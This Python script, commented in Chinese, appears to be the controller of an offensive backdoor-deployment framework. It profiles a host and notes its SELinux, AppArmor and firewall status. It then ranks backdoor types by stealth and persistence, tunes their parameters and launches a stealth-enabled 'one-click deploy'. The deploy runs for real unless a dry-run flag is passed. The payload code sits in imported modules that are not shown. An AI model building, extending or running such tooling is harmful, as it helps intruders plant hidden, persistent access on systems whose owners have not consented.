#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
场景化自动决策系统主脚本
集成场景模板引擎和原有自动决策系统
提供一键化场景选择和智能部署功能
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import argparse
from typing import Dict, List, Any, Optional
from dataclasses import asdict
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent
sys.path.insert(0, str(project_root))

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.intelligence.intelligent_decision_engine import (
        IntelligentDecisionEngine, SystemEnvironment, ThreatLevel, BackdoorType
    )
    from modules.intelligence.adaptive_parameter_optimizer import AdaptiveParameterOptimizer, OptimizationLevel
    from modules.automation.automated_deployment_engine import AutomatedDeploymentEngine
    from modules.intelligence.risk_assessment_engine import RiskAssessmentEngine
    from modules.intelligence.scenario_template_engine import (
        ScenarioTemplateEngine, ScenarioType, FeatureCategory
    )
    
except ImportError as e:
    print("导入模块失败: {}".format(e))
    sys.exit(1)



def color_cyan(text):
    """青色输出，使用蓝色替代"""
    print(color_blue(text))


class ScenarioAutoDecisionSystem:
    """场景化自动决策系统主类"""
    
    def __init__(self, optimization_level: OptimizationLevel = OptimizationLevel.BALANCED):
        """初始化场景化自动决策系统"""
        color_cyan("🚀 初始化场景化自动决策系统...")
        
        # 原有组件
        self.decision_engine = IntelligentDecisionEngine()
        self.parameter_optimizer = AdaptiveParameterOptimizer(optimization_level)
        self.deployment_engine = AutomatedDeploymentEngine(enable_stealth=True)
        self.risk_engine = RiskAssessmentEngine()
        
        # 新增场景模板引擎
        self.scenario_engine = ScenarioTemplateEngine()
        
        # 状态变量
        self.current_environment = None
        self.detected_scenario = None
        self.selected_template = None
        self.recommendations = []
        self.risk_assessments = []
        self.optimized_parameters = {}
        
        color_green("✓ 场景化自动决策系统初始化完成")
    
    def detect_scenario(self) -> tuple:
        """检测当前环境场景"""
        color_blue("🔍 开始场景检测...")
        
        try:
            # 使用场景引擎检测环境
            detection_result = self.scenario_engine.detect_scenario()
            
            if detection_result:
                self.detected_scenario = detection_result.detected_scenario
                
                color_green("✓ 场景检测完成")
                color_cyan("📋 检测结果:")
                color_yellow("  场景类型: {}".format(detection_result.detected_scenario.value))
                color_yellow("  置信度: {:.1%}".format(detection_result.confidence_score))
                
                
                if hasattr(detection_result, 'evidence') and detection_result.evidence:
                    color_yellow("  检测证据:")
                    for evidence in detection_result.evidence[:3]:  # 显示前3个证据
                        color_yellow("    - {}".format(evidence))
                
                return detection_result.detected_scenario, detection_result.confidence_score
            else:
                color_red("❌ 场景检测失败")
                return None, 0.0
            
        except Exception as e:
            color_red("❌ 场景检测失败: {}".format(e))
            return None, 0.0
    
    def select_scenario_template(self, scenario_type: ScenarioType = None) -> dict:
        """选择场景模板"""
        if not scenario_type and not self.detected_scenario:
            color_red("❌ 请先进行场景检测或指定场景类型")
            return {}
        
        target_scenario = scenario_type or self.detected_scenario
        
        color_blue("🎯 选择场景模板: {}".format(target_scenario.value))
        
        try:
            # 获取场景模板
            template = self.scenario_engine._get_scenario_template(target_scenario)
            
            if template:
                self.selected_template = template
                color_green("✓ 场景模板选择完成")
                
                # 显示模板信息
                self._display_template_info(template)
                
                return asdict(template)
            else:
                color_red("❌ 未找到对应的场景模板")
                return {}
                
        except Exception as e:
            color_red("❌ 场景模板选择失败: {}".format(e))
            return {}
    
    def one_click_deploy(self, scenario_type: ScenarioType = None, dry_run: bool = True) -> dict:
        """一键化部署"""
        color_cyan("🚀 开始一键化部署...")
        
        try:
            # 1. 场景检测（如果未指定）
            if not scenario_type:
                detected_scenario, confidence = self.detect_scenario()
                if not detected_scenario:
                    return {"status": "failed", "error": "场景检测失败"}
                scenario_type = detected_scenario
            
            # 2. 执行一键部署
            deployment_result = self.scenario_engine.one_click_deploy(
                scenario_type=scenario_type,
                dry_run=dry_run
            )
            
            # 3. 显示部署结果
            self._display_deployment_result(deployment_result)
            
            return deployment_result
            
        except Exception as e:
            color_red("❌ 一键化部署失败: {}".format(e))
            return {"status": "failed", "error": str(e)}
    
    def analyze_environment(self, external_env: SystemEnvironment = None) -> SystemEnvironment:
        """分析系统环境（增强版）"""
        color_blue("🔍 开始环境分析...")
        
        # 使用原有决策引擎分析环境
        self.current_environment = self.decision_engine.analyze_environment(external_env)
        
        # 显示环境摘要
        self._display_environment_summary()
        
        return self.current_environment
    
    def generate_scenario_recommendations(self, max_recommendations: int = 5) -> List:
        """基于场景生成推荐"""
        if not self.selected_template:
            color_yellow("⚠️ 未选择场景模板，使用传统推荐方式")
            return self.generate_recommendations(max_recommendations)
        
        color_blue("🧠 基于场景模板生成推荐...")
        
        try:
            # 基于场景模板的特征集生成推荐
            scenario_features = self.selected_template.features
            
            # 转换为后门类型推荐
            recommendations = []
            for category, features in scenario_features.items():
                for feature in features:
                    # 这里可以根据特征映射到具体的后门类型
                    # 简化实现，直接使用原有推荐系统
                    pass
            
            # 结合原有推荐系统
            self.recommendations = self.decision_engine.recommend_backdoors(
                self.current_environment, max_recommendations
            )
            
            # 根据场景模板调整推荐优先级
            self._adjust_recommendations_by_scenario()
            
            # 显示推荐结果
            self._display_recommendations()
            
            return self.recommendations
            
        except Exception as e:
            color_red("❌ 场景推荐生成失败: {}".format(e))
            return []
    
    def generate_recommendations(self, max_recommendations: int = 5) -> List:
        """生成后门推荐（原有方法）"""
        if not self.current_environment:
            color_red("❌ 请先进行环境分析")
            return []
        
        color_blue("🧠 生成智能推荐...")
        
        self.recommendations = self.decision_engine.recommend_backdoors(
            self.current_environment, max_recommendations
        )
        
        # 显示推荐结果
        self._display_recommendations()
        
        return self.recommendations
    
    def run_scenario_analysis(self, scenario_type: ScenarioType = None,
                            max_recommendations: int = 5,
                            risk_threshold: float = 0.7,
                            dry_run: bool = True) -> Dict[str, Any]:
        """运行场景化分析流程"""
        color_cyan("🎯 开始场景化自动决策分析...")
        
        start_time = time.time()
        
        try:
            # 1. 场景检测
            if not scenario_type:
                detected_scenario, confidence = self.detect_scenario()
                scenario_type = detected_scenario
            
            # 2. 选择场景模板
            template = self.select_scenario_template(scenario_type)
            
            # 3. 环境分析
            environment = self.analyze_environment()
            
            # 4. 基于场景生成推荐
            recommendations = self.generate_scenario_recommendations(max_recommendations)
            
            # 5. 风险评估
            risk_assessments = self.assess_risks()
            
            # 6. 参数优化
            optimized_params = self.optimize_parameters()
            
            # 7. 一键部署（可选）
            deployment_result = self.one_click_deploy(scenario_type, dry_run)
            
            analysis_time = time.time() - start_time
            
            # 生成完整报告
            report = {
                "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
                "analysis_time": round(analysis_time, 2),
                "scenario_type": scenario_type.value if scenario_type else None,
                "template": template,
                "environment": asdict(environment) if environment else {},
                "recommendations": [asdict(rec) for rec in recommendations],
                "risk_assessments": [asdict(ra) for ra in risk_assessments],
                "optimized_parameters": {k: asdict(v) for k, v in optimized_params.items()},
                "deployment_result": deployment_result,
                "summary": {
                    "scenario_detected": scenario_type.value if scenario_type else "未检测",
                    "total_recommendations": len(recommendations),
                    "high_priority_recommendations": len([r for r in recommendations if r.priority >= 8]),
                    "critical_risks": len([r for r in risk_assessments if hasattr(r, 'risk_level') and r.risk_level == ThreatLevel.CRITICAL]),
                    "optimized_backdoors": len(optimized_params)
                }
            }
            
            color_green("✓ 场景化分析完成，耗时 {:.2f} 秒".format(analysis_time))
            return report
            
        except Exception as e:
            color_red("❌ 场景化分析过程中出现错误: {}".format(e))
            return {"status": "failed", "error": str(e)}
    
    def assess_risks(self) -> List:
        """评估风险"""
        if not self.current_environment:
            color_red("❌ 请先进行环境分析")
            return []
        
        color_blue("⚠️ 开始风险评估...")
        
        self.risk_assessments = self.risk_engine.assess_all_backdoors(self.current_environment)
        
        # 显示风险评估结果
        self._display_risk_assessments()
        
        return self.risk_assessments
    
    def optimize_parameters(self, selected_backdoors: List[BackdoorType] = None) -> Dict:
        """优化参数"""
        if not self.recommendations:
            color_red("❌ 请先生成推荐")
            return {}
        
        color_blue("⚙️ 开始参数优化...")
        
        # 如果没有指定后门类型，使用推荐的前3个
        if not selected_backdoors:
            selected_backdoors = [rec.backdoor_type for rec in self.recommendations[:3]]
        
        self.optimized_parameters = {}
        for backdoor_type in selected_backdoors:
            try:
                optimized = self.parameter_optimizer.optimize_parameters(backdoor_type)
                self.optimized_parameters[backdoor_type.value] = optimized
                color_green("✓ {} 参数优化完成".format(backdoor_type.value))
            except Exception as e:
                color_red("❌ {} 参数优化失败: {}".format(backdoor_type.value, e))
        
        return self.optimized_parameters
    
    def list_available_scenarios(self):
        """列出可用的场景类型"""
        color_cyan("📋 可用场景类型:")
        
        try:
            scenarios = self.scenario_engine.get_available_scenarios()
            
            for i, scenario in enumerate(scenarios, 1):
                color_yellow("[{}] {}".format(i, scenario))
            
            return scenarios
            
        except Exception as e:
            color_red("❌ 获取场景列表失败: {}".format(e))
            return []
    
    def export_scenario_template(self, scenario_type: ScenarioType, filename: str = None):
        """导出场景模板"""
        try:
            result = self.scenario_engine.export_template(scenario_type, filename)
            if result:
                color_green("✓ 场景模板已导出到: {}".format(result))
            else:
                color_red("❌ 场景模板导出失败")
        except Exception as e:
            color_red("❌ 导出失败: {}".format(e))
    
    def _display_template_info(self, template):
        """显示模板信息"""
        color_cyan("📋 场景模板信息:")
        color_yellow("  名称: {}".format(template.name))
        color_yellow("  描述: {}".format(template.description))
        
        # 从 risk_assessment 字典中获取风险等级
        risk_level = template.risk_assessment.get('risk_level', '未知') if hasattr(template, 'risk_assessment') and template.risk_assessment else '未知'
        color_yellow("  风险等级: {}".format(risk_level))
        
        color_yellow("  特征数量: {} 个".format(len(template.features)))
    
    def _display_deployment_result(self, result):
        """显示部署结果"""
        color_cyan("📊 部署结果:")
        
        if result.get("status") == "success":
            color_green("✓ 部署成功")
            
            if "deployed_features" in result:
                color_yellow("  已部署特征:")
                for feature in result["deployed_features"]:
                    color_yellow("    • {}".format(feature))
            
            if "success_rate" in result:
                color_yellow("  成功率: {:.1%}".format(result["success_rate"]))
                
        elif result.get("status") == "simulated":
            color_yellow("🔍 模拟部署完成")
            
            if "plan" in result:
                color_yellow("  部署计划:")
                for step in result["plan"]:
                    color_yellow("    • {}".format(step))
        else:
            color_red("❌ 部署失败")
            if "error" in result:
                color_red("  错误: {}".format(result["error"]))
    
    def _adjust_recommendations_by_scenario(self):
        """根据场景调整推荐优先级"""
        if not self.selected_template or not self.recommendations:
            return
        
        # 根据场景模板的特征集调整推荐优先级
        # 这里可以实现更复杂的逻辑
        scenario_features = self.selected_template.features
        
        for rec in self.recommendations:
            # 简化实现：如果推荐的后门类型在场景特征中，提高优先级
            if any(rec.backdoor_type.value.lower() in str(features).lower() 
                   for features in scenario_features.values()):
                rec.priority = min(10, rec.priority + 1)
    
    def _display_environment_summary(self):
        """显示环境摘要"""
        if not self.current_environment:
            return
        
        env = self.current_environment
        color_cyan("📊 环境分析结果:")
        color_yellow("  系统: {} {} ({})".format(env.distro, env.version, env.architecture))
        color_yellow("  内核: {}".format(env.kernel_version))
        color_yellow("  CPU核心: {}, 内存: {}GB".format(env.cpu_count, env.memory_total // (1024**3)))
        
        # 安全特性
        security_features = []
        if env.selinux_enabled:
            security_features.append("SELinux")
        if env.apparmor_enabled:
            security_features.append("AppArmor")
        if env.firewall_active:
            security_features.append("防火墙")
        
        if security_features:
            color_yellow("  安全特性: {}".format(', '.join(security_features)))
    
    def _display_recommendations(self):
        """显示推荐结果"""
        if not self.recommendations:
            return
        
        color_cyan("🎯 推荐结果 (共{}个):".format(len(self.recommendations)))
        
        for i, rec in enumerate(self.recommendations, 1):
            color_yellow("[{}] {}".format(i, rec.backdoor_type.value))
            color_yellow("    优先级: {}/10".format(rec.priority))
            color_yellow("    成功率: {:.1%}".format(rec.success_probability))
            color_yellow("    隐蔽性: {:.1%}".format(rec.stealth_level))
            color_yellow("    持久性: {:.1%}".format(rec.persistence_level))
    
    def _display_risk_assessments(self):
        """显示风险评估结果"""
        if not self.risk_assessments:
            return
        
        color_cyan("⚠️ 风险评估结果:")
        
        for assessment in self.risk_assessments:
            if hasattr(assessment, 'backdoor_type'):
                color_yellow("  {}: {}".format(
                    assessment.backdoor_type.value,
                    assessment.risk_level.value if hasattr(assessment, 'risk_level') else "未知"
                ))


def main():
    """主函数"""
    parser = argparse.ArgumentParser(description="场景化自动决策系统")
    parser.add_argument("--mode", choices=["detect", "template", "analyze", "deploy", "full"], 
                       default="full", help="运行模式")
    parser.add_argument("--scenario", choices=[s.value for s in ScenarioType],
                       help="指定场景类型")
    parser.add_argument("--optimization", choices=["conservative", "balanced", "aggressive"],
                       default="balanced", help="优化级别")
    parser.add_argument("--max-recommendations", type=int, default=5, help="最大推荐数量")
    parser.add_argument("--risk-threshold", type=float, default=0.7, help="风险阈值")
    parser.add_argument("--dry-run", action="store_true", help="模拟运行，不实际部署")
    parser.add_argument("--output", help="输出报告文件名")
    parser.add_argument("--list-scenarios", action="store_true", help="列出可用场景")
    parser.add_argument("--export-template", help="导出指定场景模板")
    
    args = parser.parse_args()
    
    # 创建场景化自动决策系统
    optimization_level = {
        "conservative": OptimizationLevel.CONSERVATIVE,
        "balanced": OptimizationLevel.BALANCED,
        "aggressive": OptimizationLevel.AGGRESSIVE
    }[args.optimization]
    
    system = ScenarioAutoDecisionSystem(optimization_level)
    
    try:
        if args.list_scenarios:
            # 列出可用场景
            system.list_available_scenarios()
            return
        
        if args.export_template:
            # 导出场景模板
            scenario_type = ScenarioType(args.export_template)
            system.export_scenario_template(scenario_type)
            return
        
        # 解析场景类型
        scenario_type = None
        if args.scenario:
            scenario_type = ScenarioType(args.scenario)
        
        if args.mode == "detect":
            # 仅场景检测
            system.detect_scenario()
            
        elif args.mode == "template":
            # 场景检测 + 模板选择
            if not scenario_type:
                scenario_type, _ = system.detect_scenario()
            system.select_scenario_template(scenario_type)
            
        elif args.mode == "analyze":
            # 环境分析 + 推荐
            system.analyze_environment()
            system.generate_recommendations(args.max_recommendations)
            
        elif args.mode == "deploy":
            # 一键部署
            system.one_click_deploy(scenario_type, args.dry_run)
            
        elif args.mode == "full":
            # 完整场景化分析
            report = system.run_scenario_analysis(
                scenario_type=scenario_type,
                max_recommendations=args.max_recommendations,
                risk_threshold=args.risk_threshold,
                dry_run=args.dry_run
            )
            
            # 保存报告
            if args.output:
                with open(args.output, 'w', encoding='utf-8') as f:
                    json.dump(report, f, ensure_ascii=False, indent=2)
                color_green("✓ 报告已保存到: {}".format(args.output))
        
        color_green("\n🎉 场景化自动决策系统运行完成!")
        
    except KeyboardInterrupt:
        color_yellow("\n⚠️ 用户中断操作")
    except Exception as e:
        color_red("\n❌ 系统运行出错: {}".format(e))
        import traceback
        traceback.print_exc()


if __name__ == "__main__":
    main()